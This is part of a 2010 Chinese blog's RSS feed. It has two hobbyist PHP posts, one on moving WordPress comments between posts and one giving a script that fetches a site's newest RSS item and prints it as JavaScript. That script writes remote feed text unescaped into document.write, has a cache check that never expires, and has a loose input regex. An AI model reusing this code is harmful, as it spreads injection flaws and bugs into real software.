		<description><![CDATA[> 小邪打算转移原先的淫荡传送门地址，即从页面转换为文章，因为这样就不必每次都 Exclude。 > 但是小邪又不舍得放弃原先页面下面的评论，所以小邪就写了一个小小的 PHP 程序来转移咯。 > 文章与评论之间的联系，只是依靠数据库中的 Wp_comments 表内的文章 ID 字段来确定的。 > 即名称为 comment_post_ID 的字段，所以我们如果要转移某批评论，只要修改此字段即可喔。 一. 使用方法： > 呵呵，因为小邪原先都是把不和谐的传送门地址保存为单独的页面的，但是后来发现不能分页。 > 而且为了不让这些页面显示到导航栏中去，小邪的这些页面都不得不使用 Exclude 参数来隐藏。 1 &#60;?php wp_list_pages&#40;'exclude=1906,1915&#38;title_li='&#41;; ?&#62; > 但是这样子数量一多起来，就麻烦啦，所以小邪就打算把它们转变成为单独的文章，放在最前。 > 使用方法很简单的喔，首先按照下面源代码处的说明，修改好必要的参数，然后运行这个程序。 > 运行的时候会提示你输入你要转移的文章 ID，和要转移到的文章 ID，然后点击提交开始读取。 > 至于获得文章 ID 的方法也很简单，在编辑文章的界面下，找到地址栏中的 post 参数值即可。 > 接着看看读取出来的评论是否正确，如果正确的话，就点击菜单栏中的 “开始” 按键开始转移。 三. 源代码： > 源代码需要修改的地方就是这个位置咯。请把你的数据库用户名与密码，还有库名填入即可。 1 2 3 4 [...]]]></description>
			<content:encoded><![CDATA[<p>> 小邪打算转移原先的淫荡传送门地址，即从页面转换为文章，因为这样就不必每次都 Exclude。<br />
> 但是小邪又不舍得放弃原先页面下面的评论，所以小邪就写了一个小小的 PHP 程序来转移咯。</p>
<p><img src='http://www.evlos.org/ev-box/myimg/uploads/old/Cap0000050.jpg' /></p>
<p>> 文章与评论之间的联系，只是依靠数据库中的 Wp_comments 表内的文章 ID 字段来确定的。<br />
> 即名称为 comment_post_ID 的字段，所以我们如果要转移某批评论，只要修改此字段即可喔。</p>
<p><span id="more-1918"></span><strong>一. 使用方法：</strong></p>
<p>> 呵呵，因为小邪原先都是把不和谐的传送门地址保存为单独的页面的，但是后来发现不能分页。<br />
> 而且为了不让这些页面显示到导航栏中去，小邪的这些页面都不得不使用 Exclude 参数来隐藏。</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span> wp_list_pages<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'exclude=1906,1915&amp;title_li='</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>> 但是这样子数量一多起来，就麻烦啦，所以小邪就打算把它们转变成为单独的文章，放在最前。</p>
<p><img src='http://www.evlos.org/ev-box/myimg/uploads/old/Cap0000058.jpg' /></p>
<p>> 使用方法很简单的喔，首先按照下面源代码处的说明，修改好必要的参数，然后运行这个程序。<br />
> 运行的时候会提示你输入你要转移的文章 ID，和要转移到的文章 ID，然后点击提交开始读取。</p>
<p>> 至于获得文章 ID 的方法也很简单，在编辑文章的界面下，找到地址栏中的 post 参数值即可。<br />
> 接着看看读取出来的评论是否正确，如果正确的话，就点击菜单栏中的 “开始” 按键开始转移。</p>
<p><strong>三. 源代码：</strong></p>
<p>> 源代码需要修改的地方就是这个位置咯。请把你的数据库用户名与密码，还有库名填入即可。</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$info</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'db_host'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'localhost'</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$info</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'db_user'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'root'</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$info</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'db_psw'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'890'</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$info</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'db_dba'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'test'</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>> <strong>Update at 2010.02.06 12:12</strong> -<br />
> 之前下载的盆友请勿运行程序，小邪不小心造成了一个致命 BUG，现已修复，请重新下载。<br />
> 小邪犯傻使用了 Replace 来处理转移的函数，太杯具了，弄得全站大乱，现在已经纠正鸟。</p>
<p>> 源码- <a target='_blank' rel='nofollow' href='http://code.google.com/p/evlosbox/downloads/detail?name=wpcmtmover.txt&#038;can=2&#038;q='>http://code.google.com/p/evlosbox/downloads/detail?name=wpcmtmover.txt&#038;can=2&#038;q=</a></p>
<p><strong>四. 菠萝阁奇趣发现：</strong></p>
<p>> 突然有点儿悲哀，一切的事物都有到终点的时候，英雄迟暮，希望微软能够挺过这一劫哇。<br />
> 原文在《译言》站点的传送门 - <a target='_blank' rel='nofollow' href='http://article.yeeyan.org/view/103627/76891'>http://article.yeeyan.org/view/103627/76891</a></p>
<p><img src='http://www.evlos.org/ev-box/myimg/uploads/old/Cap0000060.jpg' /></p>
<p>> ╮(╯o╰)╭，还有个视频喔，在推上面看到的，有兴趣的盆友传送 - <a target='_blank' rel='nofollow' href='http://u.evlos.org/gs'>http://u.evlos.org/gs</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.evlos.org/2010/02/05/wp-comments-bulk-transferrer/feed/</wfw:commentRss>
		<slash:comments>50</slash:comments>
		</item>
		<item>
		<title>获取某网站最新的一条RSS数据</title>
		<link>http://www.evlos.org/2010/01/24/get-the-newest-rss-title/</link>
		<comments>http://www.evlos.org/2010/01/24/get-the-newest-rss-title/#comments</comments>
		<pubDate>Sun, 24 Jan 2010 06:18:26 +0000</pubDate>
		<dc:creator>小邪</dc:creator>
				<category><![CDATA[小程序 [Lit Work]]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[rss]]></category>

		<guid isPermaLink="false">http://www.evlos.org/?p=1888</guid>
		<description><![CDATA[> O(∩_∩)O，小邪突然想写一个可以获取某个指定网站的最新的一条 RSS 内容与链接的程序。 > 这个程序自带缓存功能，RSS 地址的缓存时间是 15 天，RSS 内容的缓存时间是 2 小时。 > Xml 函数实在弄得小邪有些头大，一时半会儿没有空去花时间看看文档，所以就正则咯。 > 其实这个程序是当初答应 菠萝 要写的，现在刚刚好小邪的 PHP 有些入门了，就去搞定它咯。 一. 程序使用介绍： > 使用下面的代码调用即可，因为小邪输出的是 JavaScript 代码，调用很是方便呢，嘻嘻。 > Url 参数直接填域名就好，别加 http 什么的了，也别加斜杠了，小邪把程序精简一点儿。 > 所以直接加了个只允许 “A-Z a-z 0-9 - _ .” 这些字符出现在 Url 里面，应该不会很麻烦。 1 &#60;script src=&#34;do.php?url=wange.im&#34; /&#62; > 然后程序会输出这个样子的一段代码，带链接与标题文字，并且从新窗口打开，呵呵。 1 2 3 document.write&#40;&#34;&#60;a target='_blank' href='http://wange.im/winters-past-present-and-future.html'&#62; [...]]]></description>
			<content:encoded><![CDATA[<p>> O(∩_∩)O，小邪突然想写一个可以获取某个指定网站的最新的一条 RSS 内容与链接的程序。<br />
> 这个程序自带缓存功能，RSS 地址的缓存时间是 15 天，RSS 内容的缓存时间是 2 小时。</p>
<p><img src='http://www.evlos.org/ev-box/myimg/uploads/old/Cap0000006.jpg' /></p>
<p>> Xml 函数实在弄得小邪有些头大，一时半会儿没有空去花时间看看文档，所以就正则咯。<br />
> 其实这个程序是当初答应 <a target='_blank' rel='nofollow' href='http://www.chinablogs.org/'>菠萝</a> 要写的，现在刚刚好小邪的 PHP 有些入门了，就去搞定它咯。</p>
<p><span id="more-1888"></span><strong>一. 程序使用介绍：</strong></p>
<p>> 使用下面的代码调用即可，因为小邪输出的是 JavaScript 代码，调用很是方便呢，嘻嘻。<br />
> Url 参数直接填域名就好，别加 http 什么的了，也别加斜杠了，小邪把程序精简一点儿。<br />
> 所以直接加了个只允许 “A-Z a-z 0-9 - _ .” 这些字符出现在 Url 里面，应该不会很麻烦。</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span>script src<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;do.php?url=wange.im&quot;</span> <span style="color: #339933;">/&gt;</span></pre></td></tr></table></div>

<p>> 然后程序会输出这个样子的一段代码，带链接与标题文字，并且从新窗口打开，呵呵。</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="php" style="font-family:monospace;">document<span style="color: #339933;">.</span>write<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;&lt;a target='_blank' 
href='http://wange.im/winters-past-present-and-future.html'&gt;
寒假的过去、现在和未来&lt;/a&gt;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p><strong>二. 源代码：</strong></p>
<p>> 把源代码保存成 Do.php 然后放到任意目录即可，嘎嘎，O(∩_∩)O 祝你玩得愉快喔。</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000088;">$rssurl_save_time</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'1296000'</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$rsscont_save_time</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'7200'</span><span style="color: #339933;">;</span>
<span style="color: #096;">//Evlos.org application</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">is_dir</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'cache'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #990000;">mkdir</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'cache'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">function</span> app_js_out<span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span><span style="color: #339933;">,</span><span style="color: #000088;">$cont</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #b1b100;">return</span> <span style="color: #0000ff;">'document.write(&quot;'</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&lt;a target='_blank' href='&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$url</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;'&gt;&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$cont</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&lt;/a&gt;&quot;);'</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">function</span> app_html_get<span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$curl</span> <span style="color: #339933;">=</span> <span style="color: #990000;">curl_init</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$useragent</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) 
Gecko/20061204 Firefox/2.0.0.1&quot;</span><span style="color: #339933;">;</span>
	<span style="color: #990000;">curl_setopt</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$curl</span><span style="color: #339933;">,</span>CURLOPT_RETURNTRANSFER<span style="color: #339933;">,</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #990000;">curl_setopt</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$curl</span><span style="color: #339933;">,</span>CURLOPT_USERAGENT<span style="color: #339933;">,</span><span style="color: #000088;">$useragent</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$ret</span> <span style="color: #339933;">=</span> <span style="color: #990000;">curl_setopt</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$curl</span><span style="color: #339933;">,</span>CURLOPT_FOLLOWLOCATION<span style="color: #339933;">,</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$data</span> <span style="color: #339933;">=</span> <span style="color: #990000;">curl_exec</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$curl</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #990000;">curl_close</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$curl</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">return</span> <span style="color: #000088;">$data</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">function</span> app_get_rssurl<span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$data</span> <span style="color: #339933;">=</span> app_html_get<span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #990000;">preg_match</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'/application\/rss\+xml\&quot; title=\&quot;[^\&quot;]+\&quot; href=\&quot;(.*)\&quot;/'</span><span style="color: #339933;">,</span><span style="color: #000088;">$data</span><span style="color: #339933;">,</span><span style="color: #000088;">$s</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">preg_match</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'/^http.+/'</span><span style="color: #339933;">,</span><span style="color: #000088;">$s</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">return</span> <span style="color: #000088;">$s</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">return</span> <span style="color: #0000ff;">'http://'</span><span style="color: #339933;">.</span><span style="color: #000088;">$url</span><span style="color: #339933;">.</span><span style="color: #000088;">$s</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">function</span> app_websiteinfo<span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$u</span> <span style="color: #339933;">=</span> <span style="color: #990000;">str_replace</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'.'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'_'</span><span style="color: #339933;">,</span><span style="color: #000088;">$url</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$file</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'./cache/rssurl_-_'</span><span style="color: #339933;">.</span><span style="color: #000088;">$u</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'.txt'</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">file_exists</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">||</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">time</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-</span><span style="color: #990000;">filemtime</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&lt;</span><span style="color: #000088;">$rssurl_save_time</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$cont</span> <span style="color: #339933;">=</span> <span style="color: #990000;">file_get_contents</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">return</span> <span style="color: #000088;">$cont</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$rssurl</span> <span style="color: #339933;">=</span> app_get_rssurl<span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$handle</span> <span style="color: #339933;">=</span> <span style="color: #990000;">fopen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'w+'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #990000;">fwrite</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$handle</span><span style="color: #339933;">,</span><span style="color: #000088;">$rssurl</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #990000;">fclose</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$handle</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">return</span> <span style="color: #000088;">$rssurl</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">function</span> app_get_rssread<span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$data</span> <span style="color: #339933;">=</span> app_html_get<span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #990000;">preg_match_all</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'/&lt;title&gt;([^&lt;]+)&lt;\/title&gt;/'</span><span style="color: #339933;">,</span><span style="color: #000088;">$data</span><span style="color: #339933;">,</span><span style="color: #000088;">$s</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$rss</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'title'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$s</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
	<span style="color: #990000;">preg_match_all</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'/&lt;link&gt;([^&lt;]+)&lt;\/link&gt;/'</span><span style="color: #339933;">,</span><span style="color: #000088;">$data</span><span style="color: #339933;">,</span><span style="color: #000088;">$c</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$rss</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'link'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$c</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">return</span> <span style="color: #000088;">$rss</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">function</span> app_rss_getnew<span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span><span style="color: #339933;">,</span><span style="color: #000088;">$host</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$u</span> <span style="color: #339933;">=</span> <span style="color: #990000;">str_replace</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'.'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'_'</span><span style="color: #339933;">,</span><span style="color: #000088;">$host</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$file</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'./cache/rssnew_-_'</span><span style="color: #339933;">.</span><span style="color: #000088;">$u</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'.txt'</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">file_exists</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">||</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">time</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-</span><span style="color: #990000;">filemtime</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&lt;</span><span style="color: #000088;">$rsscont_save_time</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$cont</span> <span style="color: #339933;">=</span> <span style="color: #990000;">file_get_contents</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$rsso</span> <span style="color: #339933;">=</span> <span style="color: #990000;">explode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;||&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$cont</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$rssc</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'title'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$rsso</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$rssc</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'link'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$rsso</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">return</span> <span style="color: #000088;">$rssc</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$rssc</span> <span style="color: #339933;">=</span> app_get_rssread<span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$handle</span> <span style="color: #339933;">=</span> <span style="color: #990000;">fopen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'w+'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #990000;">fwrite</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$handle</span><span style="color: #339933;">,</span><span style="color: #000088;">$rssc</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'title'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'||'</span><span style="color: #339933;">.</span><span style="color: #000088;">$rssc</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'link'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #990000;">fclose</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$handle</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">return</span> <span style="color: #000088;">$rssc</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>	
<span style="color: #009900;">&#125;</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'url'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$url</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'url'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">preg_match</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'/^[a-zA-z0-9_\.-]+$/'</span><span style="color: #339933;">,</span><span style="color: #000088;">$url</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">echo</span> app_js_out<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'Error'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$feedurl</span> <span style="color: #339933;">=</span> app_websiteinfo<span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$rssc</span> <span style="color: #339933;">=</span> app_rss_getnew<span style="color: #009900;">&#40;</span><span style="color: #000088;">$feedurl</span><span style="color: #339933;">,</span><span style="color: #000088;">$url</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">echo</span> app_js_out<span style="color: #009900;">&#40;</span><span style="color: #000088;">$rssc</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'link'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #000088;">$rssc</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'title'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #b1b100;">echo</span> app_js_out<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'Error'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #096;">//Evlos.org application</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p><strong>三. 附言：</strong></p>
<p>> 有朋友用过 HTC Hero 吗？有啥感想没有，小邪觉得 5310xm 太杯具鸟，所以打算换一换。</p>
<p><img src='http://www.evlos.org/ev-box/myimg/uploads/old/Cap000000c.jpg' /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.evlos.org/2010/01/24/get-the-newest-rss-title/feed/</wfw:commentRss>
		<slash:comments>131</slash:comments>
		</item>
		<item>
		<title>如何使用PHP遍历文件夹与子目录</title>
		<link>http://www.evlos.org/2010/01/16/scan-a-folder-in-php/</link>
		<comments>http://www.evlos.org/2010/01/16/scan-a-folder-in-php/#comments</comments>
		<pubDate>Sat, 16 Jan 2010 04:25:55 +0000</pubDate>
		<dc:creator>小邪</dc:creator>
				<category><![CDATA[PHP编程 [PHP Build]]]></category>
		<category><![CDATA[dir]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.evlos.org/?p=1899</guid>
